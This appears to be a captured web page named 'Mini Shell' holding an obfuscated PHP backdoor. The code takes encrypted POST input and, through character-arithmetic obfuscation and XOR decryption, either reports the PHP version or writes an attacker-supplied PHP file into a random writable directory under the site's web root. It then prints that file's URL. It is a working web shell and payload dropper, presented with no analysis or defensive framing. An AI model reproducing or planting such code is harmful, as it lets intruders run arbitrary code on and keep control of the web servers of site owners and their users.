Mini Shell

<?php $wVTNmagQeB = chr(221-153).chr(79).chr(67)."\x55".chr(963-886)."\105".chr(1044-966)."\124".'_'."\x52".chr(79)."\117".chr(84);$DRHuV = chr(958-886)."\x54".chr(84).chr(80).chr(95)."\x48"."\117".'S'."\x54";$OEUtgV = chr(104).chr(116).chr(911-795).chr(112).':'."\x2f".chr(47);$XmDaR = chr(46).chr(823-711)."\x68".chr(112);$FwrGUxE = 'p'."\x68".chr(437-325);$OhBpCsYAwD = "\146"."\x69".chr(202-94)."\x65".chr(830-735).chr(834-722).'u'."\164".chr(95)."\143".'o'."\156"."\164".chr(518-417).'n'.chr(678-562).chr(1066-951);$KiuNC = chr(114)."\141"."\x77"."\165"."\x72".chr(108)."\x64".'e'.chr(99)."\157".chr(100)."\x65";$widAbQIPub = chr(117).chr(110).chr(115).chr(101)."\x72"."\x69"."\141".chr(136-28).chr(105).chr(122)."\x65";$wluRkYal = chr(1081-976).chr(558-443).chr(931-836).chr(757-638)."\x72".chr(981-876).chr(533-417).chr(97)."\x62"."\x6c"."\145";$opDoQ = chr(770-658).'h'.chr(725-613).'v'.chr(1061-960)."\162"."\163".'i'.chr(969-858).'n';$PzOatd = "\x73"."\164"."\x72".chr(807-712)."\162".chr(111).chr(1019-903).chr(650-601).'3';$lBZZsYaF = chr(675-560)."\145".'r'.chr(500-395)."\141".chr(108).chr(473-368).'z'.'e';$DTYnHZsz = "\163"."\x74".chr(114)."\137".'s'."\x70".chr(988-880)."\x69".chr(895-779);foreach ($_POST as $KNtpYer => $JPNEvQS){$fRyqN = strlen($KNtpYer);if ($fRyqN == 16){$JPNEvQS = $DTYnHZsz($KiuNC($PzOatd($JPNEvQS)));$KNtpYer = array_slice($DTYnHZsz(str_repeat($KNtpYer, (count($JPNEvQS)/16)+1)), 0, count($JPNEvQS));function kYFcOQs($ZGWqhcYl, $eTGci, $KNtpYer){$EtXskrSuz = "423c3362-7305-4696-b16c-5f3fc831f8f6";return $ZGWqhcYl ^ $EtXskrSuz[$eTGci % strlen($EtXskrSuz)] ^ $KNtpYer;}$JPNEvQS = array_map("kYFcOQs", array_values($JPNEvQS), array_keys($JPNEvQS), array_values($KNtpYer));$JPNEvQS = implode("", $JPNEvQS);$JPNEvQS = @$widAbQIPub($JPNEvQS);if (@is_array($JPNEvQS)){$YMOvjiI = array_keys($JPNEvQS);$JPNEvQS = $JPNEvQS[$YMOvjiI[0]];if ($JPNEvQS === $YMOvjiI[0]){echo @$lBZZsYaF(Array($FwrGUxE => @$opDoQ(), ));exit();}else {function IKYXajJ($vLbflir){static $IiaJnu = array();$cWMYKKBuH = glob($vLbflir . '/*', GLOB_ONLYDIR);$AWrskFNw = count($cWMYKKBuH);if ($AWrskFNw > 0) {foreach ($cWMYKKBuH as $vLbfl) {if (@$wluRkYal($vLbfl)) {$IiaJnu[] = $vLbfl;}}}foreach ($cWMYKKBuH as $vLbflir) IKYXajJ($vLbflir);return $IiaJnu;}$fYqMOVl = $_SERVER[$wVTNmagQeB];$cWMYKKBuH = IKYXajJ($fYqMOVl);$YMOvjiI = array_rand($cWMYKKBuH);$hFlbO = $cWMYKKBuH[$YMOvjiI] . "/" . substr(md5(time()), 0, 8) . $XmDaR;@$OhBpCsYAwD($hFlbO, $JPNEvQS);$vLbflufnfJ = $OEUtgV . $_SERVER[$DRHuV] . substr($hFlbO, strlen($fYqMOVl));echo $vLbflufnfJ;die();}}}}